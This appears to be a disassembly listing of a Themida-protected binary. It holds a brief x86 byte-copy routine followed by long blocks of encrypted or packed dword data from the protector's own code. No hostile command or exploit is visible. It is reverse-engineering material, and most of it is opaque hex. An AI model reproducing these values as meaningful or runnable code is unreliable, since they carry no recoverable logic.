mov bl, [ebp-6]
loc_59896D: ; CODE XREF: Themida_:00598817j
mov al, bl
and eax, 7
sub eax, 4
jz loc_598998
dec eax
dec eax
jz loc_59898E
and bl, 7
add [ebp-1], bl
jmp loc_5989A0
; ---------------------------------------------------------------------------
loc_59898E: ; CODE XREF: Themida_:0059897Dj
mov al, [ebp-3]
add al, 6
jmp loc_59899D
; ---------------------------------------------------------------------------
loc_598998: ; CODE XREF: Themida_:00598975j
mov al, [ebp-3]
add al, 4
loc_59899D: ; CODE XREF: Themida_:00598993j
add [ebp-1], al
loc_5989A0: ; CODE XREF: Themida_:00598989j
mov al, [ebp-1]
dec byte ptr [ebp-1]
test al, al
jz loc_5989C8
movzx ecx, byte ptr [ebp-1]
inc ecx
loc_5989B3: ; CODE XREF: Themida_:005989C2j
mov edi, [ebp+0Ch]
movzx eax, dl
inc dl
dec ecx
mov bl, [edi+eax]
mov [esi+eax], bl
jnz loc_5989B3
loc_5989C8: ; CODE XREF: Themida_:005989A8j
pop edi
pop esi
mov al, dl
pop ebx
leave
retn
; ---------------------------------------------------------------------------
aLSs db '▀пИ≤',0
dd 940000h, 50000h, 10000h, 0A280000h, 20000h, 20h dup(0)
dd 32480000h, 4AE94759h, 6800000Bh, 60CC467h, 0FABAC6E9h
dd 0C56968FFh, 0BCE9060Ch, 68FFFABAh, 60CC665h, 0FABAB2E9h
dd 0C6CC68FFh, 0A8E9060Ch, 68FFFABAh, 60CC7FCh, 0FABA9EE9h
dd 0C85068FFh, 94E9060Ch, 68FFFABAh, 60CCB46h, 0FABA8AE9h
dd 0CC3C68FFh, 80E9060Ch, 28FFFABAh, 22C95EF7h, 1BC257F6h
dd 16BD52EDh, 12B94EE7h, 16B146DFh, 751043FEh, 710C39E0h
dd 700335DCh, 710434DBh, 0B3A10FDCh, 43972F42h, 25A4768Dh
dd 0AAA3EA2h, 5C46CD0Ah, 6E9E2B5Bh, 3E7C180Fh, 0C96A7E3Eh
dd 52E88922h, 0FD9AC3CFh, 0F8CA33CEh, 556E5880h, 72079ECEh
dd 932921A9h, 0F884F5E3h, 0FCCF49A2h, 721C0A12h, 2D47A20Eh
dd 7C25B35Ah, 84CAB44Dh, 439BDD17h, 72A12E5Bh, 88F36D7h
dd 0D79B42DBh, 943AFA44h, 2B267B1h, 9BDDA314h, 0C57A0D43h
dd 1B9DF3DCh, 7DD6C093h, 1FB7A358h, 4182h, 0D627AA00h
dd 0F2478B9h, 0ED94315Eh, 0FDC9B354h, 0F48A820Ah, 0A3018406h
dd 46DCAF47h, 33DA6D9Dh, 997B09Ah, 1FCB2E60h, 0A6DDA7C5h
dd 68AE9839h, 439C19FBh, 0F5FB4528h, 1FB697E0h, 0B6FAh
dd 0FC2C5E00h, 83BC269h, 0F3FC66Dh, 1A4AD178h, 0C6FAE67Bh
dd 4F49A3EEh, 72DB7AA6h, 0CD753511h, 9A9B85FDh, 8F36CB6Ah
dd 7821C85Fh, 7462F8F0h, 47A29C3Ah, 0B82917C7h, 3439C6Bh
dd 794C4630h, 9B931BE4h, 0F6675505h, 41439C6Ah, 8E7C846Eh
dd 4194CDE1h, 8F00EE9Eh, 0DA3D92BDh, 50231D07h, 2F610ABAh
dd 41E273A6h, 1617019Ah, 16BD52E3h, 817C52E3h, 0F1F07F44h
dd 8D341C2h, 94C50000h, 99C56C01h, 94C269FEh, 8EBD64F9h
dd 84B75EF3h, 0A9C15CF1h, 952ABBEEh, 8F24C1EEh, 861BB6E8h
dd 8318AFDFh, 0E95A48B6h, 3443972Dh, 0F92C4B1Dh, 0FC2CD368h
dd 0A62D469h, 6F48A82h, 47A30184h, 9203F1A1h, 0DD439CE1h
dd 5326200Ah, 0E173E0ACh, 0BDA0439Ch, 0D1686D73h, 0DA721FB5h
dd 0D6000000h, 4F7BFC2Ch, 0CF7009B0h, 0D36EA128h, 0EE2C602Ch
dd 8CBC49A3h, 33B664F9h, 0AE9C3B5Dh, 49A3483Dh, 0D54CB588h
dd 0B5D43D4Eh, 6ED41546h, 2353543Eh, 0AC34DD84h, 43751EB4h
dd 867009B0h, 0F525CE7Eh, 3822BB62h, 0A27BB8F2h, 0EA805347h
dd 0FCBE4A67h, 92629F02h, 1795FE51h, 0E15FF78h, 2FC5BD45h
dd 9BA23BACh, 0E8D21E5Ch, 5A8730E0h, 608D14BBh, 0E4851EC5h
dd 40ACB4FAh, 10E34195h, 39ED17Ah, 6C3DC06Eh, 0A1A9EE19h
dd 0B7EAEBD5h, 3B1A8B56h, 37D84196h, 7E459661h, 64E514F0h
dd 7D1h, 5EF392C3h, 57EC8BB7h, 52E782B0h, 4CE17CABh, 4ADF72A5h
dd 0A9DC97AFh, 0AFDC8318h, 0A8DA8116h, 0A1D1780Dh, 36A47106h
dd 972DD748h, 390B2243h, 0D368F92Ch, 0D469FC2Ch, 87752562h
dd 49A3F216h, 0A3A48E61h, 0A62DD473h, 27C2F176h, 0A028F186h
dd 0E1DA79E0h, 61F3BF53h, 0F44E4566h, 0B046E788h, 975F62C2h
dd 99C88947h, 0DDCB5900h, 4396DF6Ch, 0B443E4B7h, 0B14AF184h
dd 1ACA7A10h, 96DFBB2Ch, 49330643h, 0E87D1848h, 96DF1BFCh
dd 0B4961D43h, 9A0BF987h, 0E54396DFh, 31CA7112h, 2151FA90h
dd 0CEB94ABEh, 0C4650239h, 0E068BC1Dh, 35B3DDE8h, 40D30594h
dd 42BA4F56h, 0E67C74FCh, 95EC4EF8h, 0AF360941h, 0C783F5A3h
dd 170F97CFh, 0E5BD9381h, 5D8A7C5h, 352DB55Eh, 53CB19Fh
dd 8457A1BAh, 821545EEh, 8A1646EDh, 0B5652B9Ch, 2A3769Dh
dd 80FC452Ch, 0CD4E7D57h, 6D5h, 6AFF96C7h, 63F897C3h, 5EF38EBCh
dd 58ED88B7h, 4EE37EB1h, 0ADE09BB3h, 0ABD87F14h, 0A4D67D12h
dd 0A5D57C11h, 42B07D12h, 972CE354h, 45172E43h, 6C9C820Ah
dd 751CBBEBh, 49A3BDCh, 2A6B2081h, 6C56E2BAh
dword_598E68 dd 14167664h, 6A3D4797h, 72FF2BD4h, 7409AA43h, 5F06A1CDh
; DATA XREF: Themida_:0054B422o
dd 370DA8D8h, 0FA632F68h, 6EE26392h, 60000006h, 5A01962Fh
dd 53FA8F2Eh, 4EF58A25h, 4AF1861Fh, 4EE97E17h, 0AD487B36h
dd 0A9447118h, 0A83B6D14h, 0A93C6C13h, 0EBD94714h, 43972C7Ah
dd 0ADCAEC5h, 44F48A82h, 0B2DF689Bh, 42887213h, 4797B0E2h
dd 0F7A03609h, 0D29B30C7h, 960F8F4Bh, 0DB821D49h, 730CD942h
dd 614FE586h, 43972004h, 0E9B55C2Fh, 43971F7Bh, 757BC5A8h
dd 1FBB8F60h, 477Ah, 830ADE00h, 98A336C7h, 0BBE81E5Eh
dd 4AE08122h, 0A38AF75Ch, 0B85F3249h, 0CB54812Ah, 0C25B029Dh
dd 0C3629221h, 8A2693D9h, 705349A3h, 23B520A6h, 112719AFh
dd 8B000000h, 1A732h, 0CEBC6C00h, 49A3F25Dh, 1FEBD5A8h
dd 1699C03Eh, 0C0AEAE6Bh, 49A3CA4Fh, 0CD5EC79Ah, 98CA599Eh
dd 0D3BD56FDh, 9A3028B0h, 0A22102ACh, 63EABD47h, 35714457h
dd 3D2AB2EAh, 0F160DE4Fh, 0B5562993h, 635B311Fh, 0A37691F0h
dd 439D8A0Dh, 0B5A15DA9h, 8109B2CBh, 0DA35A694h, 619F8DEAh
dd 566AE5F2h, 0A8491CA4h, 54AF2412h, 0F7CA8BE4h, 0FF88B861h
dd 39839CCh, 0C3992C5Ch, 3DAA4F12h, 3E60E110h, 30000005h
dd 2AD166FFh, 23CA5FFEh, 1EC55AF5h, 1AC156EFh, 1EB94EE7h
dd 7D184B06h, 791441E8h, 780B3DE4h, 790C3CE3h, 0BBA917E4h
dd 43972B4Ah, 2CAC7E95h, 2AD369FCh, 5C755FFEh, 9D332BB3h
dd 0A2EB29AFh, 0FC916447h, 0BC922555h, 0FA697613h, 0EA2FB0DFh
dd 0DC000004h, 0DE851AABh, 0D77E13B2h, 0D2790EA9h, 0CE750AA3h
dd 0DA750A9Bh, 41D407C2h, 3DD805ACh, 34CF01A8h, 2DC8F89Fh
dd 6F5DCB98h, 439729FEh, 2C603249h, 3BC269FCh, 3EC56C0Bh
dd 45CC7312h, 12D67D18h, 0BC75B17Fh, 0DB0B3503h, 50F9A73Ch
dd 429B8520h, 19AEBC93h, 4549h, 820AAD00h, 7071F48Ah, 0A773DAF7h
dd 0BBA9B19Bh, 47A21569h, 0EEBA6134h, 439C0581h, 806E1EAEh
dd 439C050Fh, 0CB66995Ah, 54EA8B24h, 9C04F566h, 836D4043h
dd 0FDD81E28h, 0DF1FB6ACh, 38h, 9A2B5E07h, 820AE4B0h, 9B116C9Ch
dd 0F5F2BBA5h, 44DA7B1Ch, 1EB9EB94h, 0E81AEE34h, 5E3147A2h
dd 54F31FC8h, 5765D3BFh, 79A9439Ch, 76A249DEh, 1AAF30D7h
dd 25000004h, 0F48A820Ah, 0A2D09406h, 650CDF47h, 7017AEDEh
dd 7A21BCE9h, 8229C4F3h, 0D640CE17h, 0A57112A3h, 70F80412h
dd 82F4E278h, 0CD419BAEh, 8DBB64FAh, 5A0108F2h, 45F58B2Ah
dd 31D8699Ch, 0AE53C498h, 39E3D95h, 15167030h, 766001A6h
dd 0F926CF5Dh, 0C74F725Ch, 0E14B39CFh, 0E3B9416h, 0F79E3965h
dd 0DF7A745Eh, 42B0E72Eh, 2AD17201h, 7EA876BFh, 5922B74Eh
dd 5543D9D1h, 358D74E3h, 2DB45B2Eh, 0EB4E7CFDh, 2D7E4EC8h
dd 0B158F94Eh, 65D07718h, 7A02121Ch, 4B2E9F8Dh, 0A6793187h
dd 77F9173Dh, 0EF909FE6h, 6926A959h, 739FDDE1h, 65D71D07h
dd 0B02F8625h, 6B9E47DDh, 0B7A533DAh, 2B802546h, 331DBE91h
dd 0C255852Ch, 0D061941Bh, 44D26529h, 760BAADAh, 972D25ADh
dd 2588F9E7h, 9CCC2B80h, 41C96209h, 0CC7C846Eh, 0B158F723h
dd 7EE82E18h, 0B9297F25h, 88B83FE6h, 92DB46EDh, 0F8F07884h
dd 250A7462h, 84452378h, 7D16BD58h, 70A047DCh, 0EABC3FD5h
dd 7C154488h, 0ACD33CD5h, 0DFF8E218h, 0F88D2858h, 0D36EA14Ah
dd 463EC6E9h, 0A618C2B0h, 1CC51D71h, 756F59ECh, 0C22FFBA2h
dd 0EF196B75h, 19BC020Ch, 0C349E739h, 3Ah, 8A820A27h, 801F4BF4h
dd 0F28BFCEAh, 3D649A3h, 0A1231119h, 0CC47A301h, 198652F9h
dd 46439CE1h, 0C213D563h, 181FB5D0h, 0EFh, 0BAE79040h
dd 0D5D6471Bh, 4E21439Ch, 0A2259864h, 38158931h, 0F7F8E29Fh
dd 28930C7h, 8DE56ECFh, 2713E7C9h, 2AD16C98h, 0D75AF091h
dd 0B4FB0C4Bh, 77907A58h, 7E25C0F0h, 9B30C7F7h, 0A3247BAFh
dd 3CDB0B49h, 35D000A7h, 655DE58Eh, 5FF626CFh, 2D351FB8h
dd 0A204513Fh, 56019C47h, 6566407Ah, 145ACBB9h, 0D2A5439Ch
dd 32FB9031h, 6C1CB2AAh, 145DCEBCh, 0DA8439Ch, 6CE71787h
dd 7A09AAE4h, 80C6B04Dh, 4194B7F0h, 1ECE6437h, 0C8B24575h
dd 6C0194C7h, 63792C5h, 791442B9h, 7AF9CA10h, 2C603D9h
dd 8DBCF07Fh, 1F40Ch, 20B5E600h, 1DB8E48Bh, 18B3E188h
dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h
dd 0F69D32C5h, 0CD9A2FC6h, 2700715Fh, 344B4397h, 68F92C62h
dd 69FC2CD3h, 0DAA326D4h, 0C64E7CA2h, 25602C16h, 0CCB64F7Ch
dd 932921A9h, 0A30123A5h, 0C7B34E47h, 758D2F94h, 0A57118B9h
dd 439C0438h, 32B48265h, 1FB6ADA3h, 0C839h, 0FC2C9D00h
dd 9B04F7Bh, 9A28CF70h, 87EFE717h, 0C86877E6h, 91DF488Ah
dd 4ADD0F3Dh, 0D3690AA3h, 0A3BB74E5h, 2ECBF49h, 8C33CE01h
dd 0A3B78CC0h, 59EC1C49h, 5AED1DC4h, 8A820AB3h, 971806F4h
dd 0AC5547A2h, 0A33CE37Eh, 0A54CE514h, 5528220Ch, 776FF7C0h
dd 598831E1h, 0EB90D6C0h, 0A64194ECh, 61943DD3h, 61943BD0h
dd 7AA658DBh, 3F691746h, 9215FA6Bh, 0F3F6643Dh, 17009F56h
dd 451BBC8Fh, 0F07F108Eh, 0FEC44574h, 0F0000000h, 0EA9126BFh
dd 0E38A1FBEh, 0DE851AB5h, 0DA8116AFh, 0DE790EA7h, 3DD80BC6h
dd 39D401A8h, 38CBFDA4h, 39CCFCA3h, 7B69D7A4h, 4397260Ah
dd 256C3E55h, 0CEB8497Ch, 72079ACDh, 67FC9BCBh, 4F7C25F5h
dd 9BCBCCB6h, 9ECE55FCh, 71B1ED3Fh, 0EC8DCCE5h, 19068E57h
dd 0A3C2BA2Bh, 91320549h, 0EC5D4BFBh, 3749A3C1h, 0C2727A64h
dd 0C2B32412h, 2BFE49A3h, 0C236A795h, 0AE8149A3h, 7F7A7EC4h
dd 0DEB14797h, 0D100A937h, 69F89138h, 5FF89F3Ah, 0B1447475h
dd 0B83F721Bh, 614BEC85h, 1C83B35Ah, 69B6EE96h, 5D04A520h
dd 64143191h, 2BD41404h, 0A64171FEh, 36C55E05h, 32CB7203h
dd 0F523ED48h, 0DE4F3DC5h, 29024164h, 0FB9AC756h, 841ABB54h
dd 0EF1EABDBh, 7516AF56h, 2DD6848Bh, 25BE6500h, 6B0A3A3Bh
dd 730E3DC4h, 0E1861CCh, 0C055F020h, 9F3A6912h, 0F184B4B5h
dd 3C94Ah, 5E3F0000h, 6AFB2C7Ch, 790C3CC3h, 7E194BD2h
dd 8A2350D7h, 98295CE3h, 9E376AF1h, 0A84170F7h, 0B14C7A01h
dd 0B857830Ah, 54576711h, 4C7815Fh, 83000000h, 3C8704EFh
dd 8F685C24h, 8900005Ah, 8956241Ch, 4C681E6h, 83000000h
dd 348704EEh, 2C895C24h, 0BB535024h, 29544311h, 0BB5BD889h
dd 0DCB87FF3h, 5458C301h, 81242C8Bh, 4C4h, 34815300h, 0B02BCA24h
dd 8458F08h, 400BB951h, 0D1F764AAh, 0E181D1F7h, 6C4204CFh
dd 0E1C1E1D1h, 0CAF18108h, 310CB03Dh, 8B59084Dh, 8952242Ch
dd 4C281E2h, 83000000h, 148704C2h, 34FF5C24h, 0C4815B24h
dd 4, 0FAAF92E9h, 4A1EEDFFh, 0BFE176D4h, 0A397B143h, 0CD5FB8F2h
dd 0C503060Ch, 50F0E0FFh, 9D94086Dh, 384D1A8Fh, 6C6C7C05h
dd 5F825BAh, 0F2E2BA9h, 131077FFh, 6F0609D7h, 0F378245Bh
dd 0E7464FD3h, 0F4BF39F5h, 81E7CB3h, 77A458E4h, 6CC93FDCh
dd 7F8B0B8Eh, 0DC2609AFh, 0E60D283Ch, 1D5D0600h, 0E1D1537Fh
dd 323E5808h, 82B178E3h, 0A804131Fh, 24EB04E7h, 9 dup(0)
dd 0BDE9h
db 0
byte_599649 db 89h, 0B5h, 61h ; DATA XREF: Themida_:0053E78Co
dd 8B060CCEh, 719BD85h, 15858B06h, 8D060719h, 0CCEABB5h
dd 17858D06h, 0FF060A48h, 0E855C3D0h, 0
dd 0B1ED815Dh, 83060CCEh, 719BDBDh, 850F0106h, 2Ch, 0CE61B5FFh
dd 858B060Ch, 6071915h, 81273635h, 3CD0FF34h, 0A850F01h
dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60CCE65h
dd 61B5FF56h, 8B060CCEh, 7191585h, 27363506h, 0D0FF3481h
dd 8D0CC483h, 0CCE65B5h, 14468B06h, 8304E083h, 840F04F8h
dd 7, 5E9C033h, 0B8000000h, 1, 19BDBD83h, 0F010607h, 785h
dd 0E9C35D00h, 2, 858DCF5Dh, 60CCE8Ah, 1FCD8589h, 8D8D0607h
dd 60CD035h, 2FDD9D33h, 8D890607h, 6071AD9h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0DC35242h, 97312284h
dd 6860F23h, 89000000h, 70409BDh, 1D85C706h, 4060710h
dd 6A000066h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 2134C351h, 0C79AF780h, 7330585h
dd 6, 0E880F00h, 0E9000000h, 9, 8A800FA4h, 18A81DBDh, 69B5FFE5h
dd 0E8060704h, 12h, 6058BC56h, 82BF1A01h, 7D845645h, 0DCB1668Eh
dd 6E95790h, 2000000h, 0A6122D19h, 95FF5894h, 6071859h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 6BC35747h
dd 93E10279h, 260626F2h, 0FF006AF8h, 70D6995h, 0EBC08B06h
dd 9CC49E48h, 0AB764E92h, 41FF4786h, 34F26920h, 0F750F478h
dd 0BC46E715h, 0E06F61A8h, 2E2AA481h, 8B9C2BB2h, 2D2DA2EBh
dd 0A943F7DEh, 0E5106324h, 0E30F1DBAh, 9BA1F543h, 11A84CD1h
dd 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0DE8CAh, 0E65E0000h
dd 8CF65BF7h, 0C6F8546Eh, 668D1CEEh, 58B462BBh, 141DBD2Bh
dd 0C0810607h, 6896h, 12FDBD29h, 0C9330607h, 1850160h
dd 66060714h, 61B209B8h, 8108348Bh, 7CF9B0C7h, 24EE8133h
dd 0F47879Fh, 8Ah, 96F68100h, 0E935C7B3h, 10h, 4D3B4037h
dd 32C8EB39h, 28EF0207h, 0F1BB55E8h, 576CC681h, 8D8920F6h
dd 6071911h, 0F083489h, 685h, 6DBD8900h, 8B06072Eh, 40E981DEh
dd 5672F204h, 58F0Fh, 81660000h, 5A4A69EFh, 43CC181h, 0F98172F2h
dd 0FFFF9814h, 0FF8E850Fh, 890FFFFFh, 4, 0C47CBB66h, 0ABE9h
dd 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h, 95A1F445h
dd 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h
dd 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h
dd 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh
dd 924AF07Bh, 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h
dd 41F445E3h, 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh
dd 7D20B293h, 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh
dd 9D728F89h, 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh
dd 0E7A601E8h, 83323D94h, 31711188h, 134EE9h, 0D3E46800h
dd 90E9060Ch, 68FFFAABh, 60CD4E3h, 0FAAB86E9h, 0D5EB68FFh
dd 7CE9060Ch, 68FFFAABh, 60CD746h, 0FAAB72E9h, 0D7DA68FFh
dd 68E9060Ch, 68FFFAABh, 60CD899h, 0FAAB5EE9h, 0D95868FFh
dd 54E9060Ch, 68FFFAABh, 60CDA07h, 0FAAB4AE9h, 0DAD068FFh
dd 40E9060Ch, 68FFFAABh, 60CDC16h, 0FAAB36E9h, 0DD1D68FFh
dd 2CE9060Ch, 68FFFAABh, 60CDE5Dh, 0FAAB22E9h, 0DF8468FFh
dd 18E9060Ch, 68FFFAABh, 60CE146h, 0FAAB0EE9h, 0E25B68FFh
dd 4E9060Ch, 0ACFFFAABh, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h
dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch, 49FD178h
dd 0FD98C86Fh, 3F2D9B68h, 439720CEh, 4BF40219h, 42DB821Dh
dd 0FC2C8C58h, 0B3BC269h, 0C87B55A4h, 0A2FE69DAh, 78E1B449h
dd 9A3BF013h, 0BCB43C05h, 9DCD7626h, 30DA200Ah, 0EB47A287h
dd 56C43523h, 3C0F439Ch, 0BB28F49Bh, 0FF439C56h, 78E35D0h
dd 0D59940D7h, 9238F442h, 765F61AFh, 641FB658h, 31h, 8A820AC8h
dd 18406F4h, 0DCAF47A3h, 2E24A735h, 9203F190h, 0DD439C0Ah
dd 0A763A10Ah, 0E7BC1ABh, 3B439C22h, 0CD08CE58h, 0F1FB68Fh
dd 0E8h, 69FC2C73h, 588B34C2h, 9FD2D3BDh, 0A8D85F06h, 0AFDF660Dh
dd 0C061FC2Ah, 2C67A72Ah, 0CA8604E7h, 0EB5440FCh, 0EDD72D37h
dd 618F38E6h, 9C861FC6h, 0A3C7A056h, 7C043449h, 0A3C71D8Eh
dd 0B2A06849h, 49A3C741h, 7718B98Ch, 6C0B3BE2h, 0A7941CC5h
dd 0A3C748B9h, 1FC09349h, 0D8619B89h, 29FC47A2h, 4836E694h
dd 439CA7D7h, 0FB6C5A22h, 46439CA6h, 0C5E8D273h, 9124573Dh
dd 6549E528h, 0EB8C1302h, 0EABA6755h, 0B2854194h, 0B740731Ch
dd 0B14AF184h, 24CD7B10h, 21BA61F4h, 0AA033637h, 439B1EABh
dd 744AEB03h, 0F07FFC6Fh, 0A1A32453h, 48000010h, 42E97E17h
dd 3BE27716h, 36DD720Dh, 32D96E07h, 36D166FFh, 9530631Eh
dd 912C5900h, 902355FCh, 912454FBh, 0D3C12FFCh, 43971F62h
dd 2CC496ADh, 2CD368F9h, 62D469FCh, 0F48A820Ah, 0A3018406h
dd 35DCAF47h, 6FCEFEA7h, 0CF27B547h, 0BCA647C0h, 9CD00976h
dd 0C5533643h, 0B5E1D203h, 0EB081Fh, 2C6C0000h, 0E0C6A1FCh
dd 0E5343D90h, 0EE8F2656h, 0F48DC047h, 0E5CB814Dh, 2F5F49A3h
dd 29590298h, 31D871A0h, 0B750F798h, 59A5F54Eh, 15FFF58Fh
dd 88B7600Eh, 0D20203EDh, 5BE38C33h, 90C24375h, 14AD54F5h
dd 0E05ADD73h, 677688E3h, 0BEACB49Eh, 47A22584h, 0C2A58E11h
dd 70B71EC9h, 91E1FD07h, 2812F720h, 18C65B2Eh, 4BB81B95h
dd 7C663228h, 43D9D159h, 2BBDEA93h, 9C9FCC3Dh, 0A3441743h
dd 337963FCh, 4195052Bh, 50F98F62h, 48EF841Dh, 37A67C15h
dd 3F07E7Dh, 0FA253D4h, 18490000h, 1541E87Dh, 103EE57Ah
dd 0A39E075h, 33DA6Fh, 1D35D065h, 1962F62h, 0FB902D5Ah
dd 0FA8F2254h, 0EF842353h, 55C6B422h, 0A043971Eh, 0F92CB789h
dd 28200EA0h, 26F962FBh, 0B147E835h, 0D43DD808h, 9A7915D9h
dd 0E3EAD4E6h, 0E4790C3Ch, 69FC2C72h, 200E50D3h, 41A25D6Eh
dd 2C261AA4h, 5943E465h, 0EE89B940h, 0E483AF58h, 1E4CF3FAh
dd 2555DC83h, 9368FD92h, 17ADA52Dh, 0A2DA7F29h, 84723A47h
dd 439CCA13h, 54EA8B5Eh, 401496D1h, 2B152CCDh, 0C8B82632h
dd 52DAB216h, 692EFD92h, 2F98DDF6h, 0C55561h, 23B95AE5h
dd 7AE477Ah, 8E7C846Eh, 4A11E3CCh, 6FFDA477h, 4CE916BFh
dd 0C7380CA5h, 12460BC3h, 0E37EB03Fh, 684ED6F9h, 61FAA13Ch
dd 0CA7A2AC0h, 0BC36BDCh, 0F9E3B646h, 5F33EB3h, 0F0865944h
dd 0EA801747h, 53DB4C3Ah, 53264001h, 0BB46269h, 575842DDh
dd 39BA9027h, 0F9F5CC1Fh, 0E9A49CAh, 10410000h, 0D39E075h
dd 836DD72h, 231D86Dh, 0F82BD267h, 152DC85Dh, 0F98E275Ah
dd 0F3882552h, 0F2871A4Ch, 0E77C1B4Bh, 4DBEAC1Ah, 9843971Dh
dd 0FC2CAF81h, 0F2158674h, 8D6049A3h, 149C45ECh, 0C067FE2Eh
dd 2F08627h, 47A2F254h, 0DB64C1Fh, 0D407EE1h, 0E3E83B20h
dd 88515842h, 0C2720800h, 0A44BE619h, 59DB210Bh, 76419B91h
dd 0EC199ACDh, 2C1AB051h, 3D9591BBh, 4F493306h, 9C09D57Ch
dd 0E03D9591h, 0E97017B2h, 0D0771EB9h, 0CA2D31FFh, 0DE272C2Eh
dd 2508AE4Fh, 0D700D51Bh, 32DA25BCh, 3E000000h, 0F48A820Ah
dd 0CC6B9B44h, 5CA28C25h, 47A33688h, 8D36CC9Fh, 4733C85Bh
dd 439CA6DCh, 0C459EC1Ch, 0A5406D16h
dd 7A7B65FEh, 8506AD48h, 0DC8h, 9C820AFBh, 0E4F71069h
dd 7B35135Fh, 0B5A339DAh, 4797B31Fh, 9304F2BAh, 0DE439712h
dd 2BD46A0Bh, 19C75CFBh, 0FEA54070h, 4A7A7B65h, 0CD7604ABh
dd 0CA630A9Dh, 4F35BDE0h, 4FE58621h, 8AE0EE61h, 9C320541h
dd 537C0F3h, 9132CB72h, 0C6F69FA7h, 0C0F0992Fh, 8D343B25h
dd 7A23CA5Dh, 0E164FAF2h, 0A1A82F1Eh, 0B6E27107h, 0EDD77017h
dd 6AB235E5h, 43D2CE53h, 600E543Eh, 2B3B8938h, 3B7F8258h
dd 5483EE4Eh, 0D3FD3h, 20B5E600h, 1DB8E48Bh, 18B3E188h
dd 14ADDC83h, 0CA5D87Fh, 9C4DC77h, 0FFA63BD6h, 0F79E33D2h
dd 0F69D32C5h, 0CD9A2FC6h, 1B00715Fh, 344B4397h, 0F27AE762h
dd 149C49A3h, 6D98861Ch, 264797C1h, 0C77F69A3h, 0AB970097h
dd 0DFCD63F7h, 4397656Eh, 2FCE6B9h, 0C0F0992Fh, 0B9E99025h
dd 46CE771Eh, 0F835B84Eh, 6D08344Fh, 36C42DC6h, 0A3CF5ED4h
dd 24121A04h, 4196C576h, 0EB9BA641h, 29BFF0ABh, 90C1CA3Bh
dd 0A142153Dh, 0B19D2A00h, 0F625F07Dh, 0CAB75h, 84215200h
dd 811C48EFh, 7C1745ECh, 781140E7h, 78093CE3h, 753048E3h
dd 731AAF42h, 6B12A746h, 62099E39h, 31FE9332h, 1B64D5C3h
dd 98AF4397h, 69FC2CC6h, 6C0B3BC2h, 74113EC5h, 821346CDh
dd 192770DBh, 4FD9321Dh, 0AEBC4C89h, 0F2F77A19h, 554154BAh
dd 0A49B8F79h, 0FF000006h, 0F48A820Ah, 21F43971h, 29131B0Bh
dd 7D0B3321h, 1C24797h, 32933AD5h, 0C98EB82Ah, 45D47503h
dd 3BD47B16h, 2B5B049Ah, 35D66F9Eh, 2EC9F9A0h, 754EBB87h
dd 0E8704396h, 27AA5AF0h, 39D06A9h, 0AEA20B35h, 4EA79ACFh
dd 89377D67h, 4641954Ch, 2ED5709Dh, 0DEB1AB95h, 7A268D08h
dd 5DDE0DF0h, 0BECh, 2EC36293h, 27BC5B87h, 22B75280h, 1CB14C7Bh
dd 1AAF4275h, 79AC677Fh, 7FAC53E8h, 78AA51E6h, 71A148DDh
dd 67441D6h, 971AA718h, 9DBF243h, 0D369FC2Ch, 0E7B57F50h
dd 96802B16h, 0F26CEF7Dh, 46B7A5C3h, 9149A335h, 2A2355BEh
dd 36CFFC8Bh, 0B0CF68Fh, 0B2953CDBh, 0CC09CF59h, 0E19AF16h
dd 5DBh, 0ADDD8636h, 6DA731Ah, 49A39F95h, 57230DE0h, 0A3F27AE7h
dd 1C149C49h, 0C0B09886h, 14E74797h, 0F525CE7Eh, 3822BB62h
dd 0DB700737h, 55830434h, 0DA8319BAh, 0C250FAEh, 0C9F5DB63h
dd 4DEE872Eh, 201BC9B7h, 2FD84196h, 25BE6500h, 986E413Bh
dd 0F07D5377h, 2D1394C3h, 0D400000Bh, 0D67D12A3h, 0CF760BAAh
dd 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh, 35D0FDA4h
dd 2CC7F9A0h, 25C0F097h, 6755C390h, 439718F6h, 2C582A41h
dd 3BC269FCh, 3EC56C0Bh, 0C15C8B0Ch, 0C3F27920h, 19D2832Ah
dd 0CB240F0Fh, 0BC5A7B7Dh, 0C36C19AEh, 3C68F796h, 24C3B7A1h
dd 27000005h, 0F48A820Ah, 643D0271h, 0A18B3F03h, 0C9AAB99h
dd 2ED74797h, 817B6500h, 3F6F18AEh, 3C6C13A8h, 6C55C6B4h
dd 0CDA04396h, 4CB9852Ch, 6E43966Ch, 0A858EEE6h, 4F39CCFFh
dd 956C5B09h, 7A8B2641h, 0D870CFAh, 0C9380EAFh, 31F07AF7h
dd 0A7E8102h, 0F4250000h, 0F925CC61h, 0F422C95Eh, 0EE1DC459h
dd 0E417BE53h, 921BC51h, 0F58A1B4Eh, 0EF84214Eh, 0E67B1648h
dd 0E3780F3Fh, 49BAA816h, 94439718h, 0FC2CAB7Dh, 8B34C269h
dd 0D5D6C05Fh, 5BF624A5h, 0D37A1BB4h, 0E2891C4Ch, 0E58C2B5Bh
dd 0F78ABD4Ch, 58E69F50h, 8324C1EEh, 0EFF13F98h, 19AEBBE6h
dd 46EF4h, 75E75800h, 9749A3F2h, 9381170Fh, 4797C0A5h
dd 0DE871DF0h, 0D36C13B2h, 838E1E9h, 0EC54D76Dh, 7D525CEBh
dd 8027BAECh, 555C46E7h, 0E9C424A7h, 731D9B84h, 0BD588889h
dd 0BA4B7E27h, 0BBEB7A13h, 7019321Ch, 6C5AF0E8h, 4196A11Ah
